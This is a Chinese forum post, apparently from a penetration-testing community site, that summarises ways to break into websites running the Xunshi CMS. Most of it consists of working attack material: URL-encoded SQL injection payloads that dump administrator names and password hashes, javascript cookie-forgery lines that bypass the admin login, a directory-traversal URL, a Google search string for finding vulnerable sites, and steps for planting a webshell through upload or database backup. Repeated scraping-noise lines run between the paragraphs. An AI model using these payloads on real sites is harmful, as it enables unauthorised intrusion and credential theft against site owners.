中国网络渗透测试联盟
标题:
讯时漏洞总结
[打印本页]
作者:
admin
时间:
2013-1-16 21:25
标题:
讯时漏洞总结
by:血封忆尘
% N$ Q0 q7 K& O& q9 d& B
+ m* D- Q: F8 m$ e
在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了(随着版本的更新)
* Q. D# d3 U9 A3 P% Z; @
. `& J( L2 l1 X# L' o
以下本文总结来自黑防去年第9期杂志上的内容...
9 k7 Z1 w8 U- ]% E0 ^* t" s! z
: ?! }4 u7 s, e( y
先说一个注入吧:
http://www.political-security.com/news_more.asp?lm=2
%41nd 1=2 union %53elect 1,2,3,0x3b%
- m; h5 u/ M5 s+ ]$ K
7 d5 G$ M+ b# @
26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
& |* j9 o2 Y5 {8 I* C$ M8 o* ]
4 ~7 u% C6 K& N
记得千万别多了空格,我测试站的时候就发现多了空格注入不出结果的情况
0 e( E T, ], [# D, @
这里一个注入
4 j) Q- O! L9 \( c& ~ H. Y
# p3 u. m- R3 {: r" W& N9 K
效果如图:
( n) n& e% B/ x4 W4 S* W
2 V, }* Z9 w$ t" K' t0 Q& K- \5 f/ M/ W
- L; P$ [% J% x2 S+ ^8 k Z
9 g3 O- y; Q3 d, O$ l4 V4 {5 b* W
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
& h/ _7 \) n& |) V9 F7 o
* X9 E* \$ e8 T0 |9 O8 M
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
6 o: y' F+ M9 U0 B6 T- U1 t
1 B1 ^9 c0 Z5 t
javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
: E3 S: [" L' r' k
0 w9 G4 P5 j# y
那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:
* E4 G/ @! }, P |1 c. k, o
5 w4 V2 ^; _7 D
因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞
: G7 \2 P S2 t' F# v9 r8 \5 @
) ~$ R) R) z% E4 C3 {
它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
0 |# f$ y& d3 ~* x+ `' G
# Z2 ~4 [/ f _
访问这页面来列目录..步骤如下:
0 c( Y/ ]. [/ b6 [0 O+ P
' w% c. T3 [4 ?7 {2 Q, x9 M
javascript:alert(document.cookie="admindj=1")
8 Y& E; i9 I: x) L3 O; y
+ ^% S0 N3 K: h) B. E% ~
http://www.political-security.co ... asp?id=46&dir=../..
8 y# D1 @/ I, s" ^1 B
% ?& M+ r- \7 M* V" Q/ d* ?
效果如图:
7 q. E0 m, E, P: q# `
3 e4 j; t4 g3 z1 m' w. D- Y
) r. Y: u: _* B A9 Y" [( x
7 E6 o3 c2 t6 f% i
这样全站目录都能瞧了..找到后台目录..进去..
) p0 O2 K* O+ h! W
$ P* t& `8 F1 ]; h
那么进了后台怎么拿shell??上传--备份就ok了..
- w7 _4 I. v1 t7 F( J+ [
+ W( T9 W% ]% H. Q$ x X! m, e
那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
4 o; U( ]% q6 ^3 O6 v1 x
. f$ V- L( S' A3 P
这个我也碰到过一次..你都可以通过列目录来实现..
- b+ _7 J, o+ O# p/ ]
) \+ B) T' ^! O
javascript:alert(document.cookie="admindj=1")
: T: V. _1 G/ r
& Z& U7 j, t- k4 ?
http://www.political-security.co ... p?action=BackupData
- b5 g( D! J( k4 J8 u# o# @
) k O0 u+ _3 E
备份ok..
; u2 l: f" h, j8 M0 G9 \3 }
0 M" Z2 X5 h9 s1 H- a: x7 a
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
, Y+ D! v* H$ I4 g4 m! e
7 D8 Q+ X1 H& S" B0 u% `
在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
. J) W1 D6 E. v4 D8 |
# B( T& }9 [5 U
然后访问此页面进行注入..步骤如下:
8 f" }& _9 e, u! F
* E. h8 W; p: E- p8 Z5 ~, z$ ~3 I- g
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
3 G5 r& W6 ^0 H3 K
9 Y% |% E& e7 S7 ^9 {# f( l& q# G
然后请求admin/admin_chk.asp页面
) j& E0 w$ t0 c0 j9 ?& N3 o
6 f( T! ]$ A; N
输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%
# }4 i- Q' }1 o
2 b4 y! P+ n# l% l
26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
% n! W# X) n1 v0 c# X9 M# _
5 p, t0 u# g E% I
效果如图所示:
- [0 o: m3 Q& F, Y0 O9 U. l
' y, ^3 H4 t" p! W2 i* }
P# N# @/ ]$ v0 m& a5 A8 Z
0 G: E9 \5 l3 c
讯时漏洞2
2 N$ O* W6 E- J
google关键字:inurl:news_more.asp?lm2= (关键字很多的自己定义吧)
% ~6 @* I Y, E
* x' a6 z4 ^* O2 `; l! |
1、/admin/admin_news_pl_view.asp?id=1
4 G% L1 H" w% Q# X( o, s, o
//id任意 填入以下语句
( ?* ^ Z# Y! u- b! ?3 k
& h, C1 |2 E9 u) y- t* R8 I; b5 ]# h
2、有时1显示错误信息的时候继续往后退2,3,4,我退到11才找到了页面,郁闷!
/ n, Y/ F& R- p: ? `
" W$ a/ X+ W. X& Y _
3 y, q( `3 J" Y* }1 R1 Y
: l9 ?% b4 R0 Y( Y( P( ?& R
3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
8 O x4 V0 Z% ~$ W4 Q; g" v
1 j! T* y# [1 I) @1 N
6 D( E! f* P) I+ c6 Q
0 K" k/ u. \5 H/ j+ h$ k- d: ^
爆出管理员帐号和密码了
7 \* J$ D" h3 G; G% g
: @8 R3 r6 W$ r- s* Q3 o
( k/ ~ d( q) W
1 y* |; U4 j N$ [
4、cookies进后台
1 v% f- u; B! |" b" ~
$ E5 G# z' S! I" }
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
0 e% x7 o( e9 [# u9 c+ N* J
* l. V) v$ d- U; V( N! {& A
- d2 K& ~' p$ h: X6 @
1 \4 {2 [; w7 x
5、后台用了cookie验证,直接访问
http://www.political-security.com/admin/admin_index.asp
就OK了!
' a3 {& V0 U$ w, j* o' c
8 ^6 u _: ~) p3 r/ z- F2 V0 f* `7 Q
$ Q" P2 \3 n4 ?) d- R) _8 x
, [1 |! Z/ _; W7 T
6、后台有上传和备份取SHELL不难。
- K% \1 ?; U! c! j
% `9 Z/ g& b) x
7、讯时还有个列目录漏洞:
http://www.political-security.co ... asp?id=46&dir=../..
! d/ j* F' s( a
9 i8 l$ W* i" |: n7 N
逍遥复仇:我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL,有的说虽然后台显示但备份页面是存在的,登录后台后访问
http://www.political-security.com
/admin/admin_db_backup.asp?action=BackupData
,我这个没有,郁闷着呢,谁还有其他办法提供一下,谢谢!
; x2 ^; S: C1 s* ], l
! ^1 O7 {2 J) ~, M
2 w# k q ^1 r2 }, T% Q
6 ~7 c. d- m* t& ]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2